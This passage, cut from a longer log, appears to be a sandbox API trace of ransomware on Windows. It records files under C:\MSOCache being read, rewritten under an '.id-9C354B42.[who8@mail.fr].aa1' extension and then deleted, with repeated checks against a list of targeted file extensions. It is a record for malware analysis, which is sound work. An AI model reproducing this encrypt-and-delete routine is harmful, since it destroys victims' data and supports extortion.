users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0198.942] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0198.942] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.942] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.942] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0198.942] GetLastError () returned 0x0 [0198.942] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x106f, lpOverlapped=0x0) returned 1 [0198.944] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0198.945] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.945] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0198.945] SetEndOfFile (hFile=0x17c) returned 1 [0198.945] CloseHandle (hObject=0x17c) returned 1 [0198.949] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.949] SetEndOfFile (hFile=0x198) returned 1 [0198.952] CloseHandle (hObject=0x198) returned 1 [0198.952] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0198.953] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0198.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.953] lstrlenW (lpString=".doc") returned 4 [0198.953] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.953] lstrlenW (lpString=".docx") returned 5 [0198.953] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0198.953] lstrlenW (lpString=".pdf") returned 4 [0198.954] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.954] lstrlenW (lpString=".xls") returned 4 [0198.954] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.954] lstrlenW (lpString=".xlsx") returned 5 [0198.954] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0198.954] lstrlenW (lpString=".ppt") returned 4 [0198.954] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.954] lstrlenW (lpString=".zip") returned 4 [0198.954] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.954] lstrlenW (lpString=".rar") returned 4 [0198.954] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.954] lstrlenW (lpString=".bz2") returned 4 [0198.954] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.954] lstrlenW (lpString=".7z") returned 3 [0198.954] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.954] lstrlenW (lpString=".dbf") returned 4 [0198.955] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.955] lstrlenW (lpString=".1cd") returned 4 [0198.955] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.955] lstrlenW (lpString=".jpg") returned 4 [0198.955] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.955] lstrlenW (lpString=".doc") returned 4 [0198.955] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.955] lstrlenW (lpString=".docx") returned 5 [0198.955] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0198.955] lstrlenW (lpString=".pdf") returned 4 [0198.955] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.956] lstrlenW (lpString=".xls") returned 4 [0198.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.956] lstrlenW (lpString=".xlsx") returned 5 [0198.956] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0198.956] lstrlenW (lpString=".ppt") returned 4 [0198.956] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.956] lstrlenW (lpString=".zip") returned 4 [0198.956] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.956] lstrlenW (lpString=".rar") returned 4 [0198.956] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.956] lstrlenW (lpString=".bz2") returned 4 [0198.956] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.956] lstrlenW (lpString=".7z") returned 3 [0198.956] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.957] lstrlenW (lpString=".dbf") returned 4 [0198.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.957] lstrlenW (lpString=".1cd") returned 4 [0198.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.957] lstrlenW (lpString=".jpg") returned 4 [0198.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.957] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0198.957] lstrlenW (lpString="Setup.xml") returned 9 [0198.957] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0198.959] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=2424) returned 1 [0198.959] CloseHandle (hObject=0x198) returned 1 [0198.959] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0198.959] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0198.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0198.959] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.959] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0198.962] GetLastError () returned 0x0 [0198.962] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x978, lpOverlapped=0x0) returned 1 [0198.963] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x980, lpOverlapped=0x0) returned 1 [0198.965] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.965] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0198.965] SetEndOfFile (hFile=0x17c) returned 1 [0198.965] CloseHandle (hObject=0x17c) returned 1 [0198.968] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.968] SetEndOfFile (hFile=0x198) returned 1 [0198.970] CloseHandle (hObject=0x198) returned 1 [0198.970] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0198.970] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0198.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.971] lstrlenW (lpString=".doc") returned 4 [0198.971] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.971] lstrlenW (lpString=".docx") returned 5 [0198.971] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0198.971] lstrlenW (lpString=".pdf") returned 4 [0198.971] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.971] lstrlenW (lpString=".xls") returned 4 [0198.971] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.971] lstrlenW (lpString=".xlsx") returned 5 [0198.971] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0198.971] lstrlenW (lpString=".ppt") returned 4 [0198.971] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.971] lstrlenW (lpString=".zip") returned 4 [0198.971] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.971] lstrlenW (lpString=".rar") returned 4 [0198.971] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.971] lstrlenW (lpString=".bz2") returned 4 [0198.971] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.971] lstrlenW (lpString=".7z") returned 3 [0198.971] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.971] lstrlenW (lpString=".dbf") returned 4 [0198.971] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.972] lstrlenW (lpString=".1cd") returned 4 [0198.972] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.972] lstrlenW (lpString=".jpg") returned 4 [0198.972] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.972] lstrlenW (lpString=".doc") returned 4 [0198.972] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.972] lstrlenW (lpString=".docx") returned 5 [0198.972] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0198.972] lstrlenW (lpString=".pdf") returned 4 [0198.972] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.972] lstrlenW (lpString=".xls") returned 4 [0198.972] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.972] lstrlenW (lpString=".xlsx") returned 5 [0198.972] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0198.972] lstrlenW (lpString=".ppt") returned 4 [0198.972] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.972] lstrlenW (lpString=".zip") returned 4 [0198.972] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.972] lstrlenW (lpString=".rar") returned 4 [0198.972] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.972] lstrlenW (lpString=".bz2") returned 4 [0198.972] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.973] lstrlenW (lpString=".7z") returned 3 [0198.973] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.973] lstrlenW (lpString=".dbf") returned 4 [0198.973] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.973] lstrlenW (lpString=".1cd") returned 4 [0198.973] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0198.973] lstrlenW (lpString=".jpg") returned 4 [0198.973] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.973] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0198.973] lstrlenW (lpString="WordMUI.xml") returned 11 [0198.973] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0198.974] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=1800) returned 1 [0198.974] CloseHandle (hObject=0x198) returned 1 [0198.974] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0198.974] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0198.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0198.974] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.974] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0198.974] GetLastError () returned 0x0 [0198.974] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x708, lpOverlapped=0x0) returned 1 [0199.327] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x710, lpOverlapped=0x0) returned 1 [0199.328] ReadFile (in: hFile=0x198, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.328] WriteFile (in: hFile=0x17c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xea, lpOverlapped=0x0) returned 1 [0199.328] SetEndOfFile (hFile=0x17c) returned 1 [0199.328] CloseHandle (hObject=0x17c) returned 1 [0199.329] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.329] SetEndOfFile (hFile=0x198) returned 1 [0199.330] CloseHandle (hObject=0x198) returned 1 [0199.330] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0199.330] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0199.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.331] lstrlenW (lpString=".doc") returned 4 [0199.331] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.331] lstrlenW (lpString=".docx") returned 5 [0199.331] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0199.331] lstrlenW (lpString=".pdf") returned 4 [0199.331] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.331] lstrlenW (lpString=".xls") returned 4 [0199.331] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.331] lstrlenW (lpString=".xlsx") returned 5 [0199.331] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0199.331] lstrlenW (lpString=".ppt") returned 4 [0199.331] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.331] lstrlenW (lpString=".zip") returned 4 [0199.331] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.331] lstrlenW (lpString=".rar") returned 4 [0199.331] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.331] lstrlenW (lpString=".bz2") returned 4 [0199.331] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.331] lstrlenW (lpString=".7z") returned 3 [0199.331] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.331] lstrlenW (lpString=".dbf") returned 4 [0199.331] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.331] lstrlenW (lpString=".1cd") returned 4 [0199.331] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.331] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.331] lstrlenW (lpString=".jpg") returned 4 [0199.331] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.332] lstrlenW (lpString=".doc") returned 4 [0199.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.332] lstrlenW (lpString=".docx") returned 5 [0199.332] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0199.332] lstrlenW (lpString=".pdf") returned 4 [0199.332] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.332] lstrlenW (lpString=".xls") returned 4 [0199.332] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.332] lstrlenW (lpString=".xlsx") returned 5 [0199.332] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0199.332] lstrlenW (lpString=".ppt") returned 4 [0199.332] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.332] lstrlenW (lpString=".zip") returned 4 [0199.332] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.332] lstrlenW (lpString=".rar") returned 4 [0199.332] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.332] lstrlenW (lpString=".bz2") returned 4 [0199.332] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.332] lstrlenW (lpString=".7z") returned 3 [0199.332] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.332] lstrlenW (lpString=".dbf") returned 4 [0199.332] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.332] lstrlenW (lpString=".1cd") returned 4 [0199.332] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0199.333] lstrlenW (lpString=".jpg") returned 4 [0199.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.333] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0199.333] lstrlenW (lpString="Proofing.xml") returned 12 [0199.333] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0199.333] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=811) returned 1 [0199.333] CloseHandle (hObject=0x198) returned 1 [0199.333] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0199.333] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff 